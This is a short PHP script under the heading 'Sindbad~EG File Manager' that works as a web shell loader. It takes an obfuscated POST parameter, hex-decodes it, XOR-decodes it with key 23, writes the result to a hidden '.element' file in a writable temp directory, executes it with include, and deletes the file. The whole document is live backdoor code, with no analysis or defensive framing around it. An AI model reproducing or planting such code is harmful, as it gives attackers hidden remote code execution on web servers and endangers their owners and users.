Sindbad~EG File Manager

<?php

if(isset($_POST) && isset($_POST["\x66la\x67"])){
	$comp = hex2bin($_POST["\x66la\x67"]);
	$sym ='' ;foreach(str_split($comp) as $char){$sym .= chr(ord($char) ^ 23);}
	$val = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]);
	foreach ($val as $binding) {
    		if (!!is_dir($binding) && !!is_writable($binding)) {
    $elem = implode("/", [$binding, ".element"]);
    $file = fopen($elem, 'w');
if ($file) {
	fwrite($file, $sym);
	fclose($file);
	include $elem;
	@unlink($elem);
	die();
}
}
}
}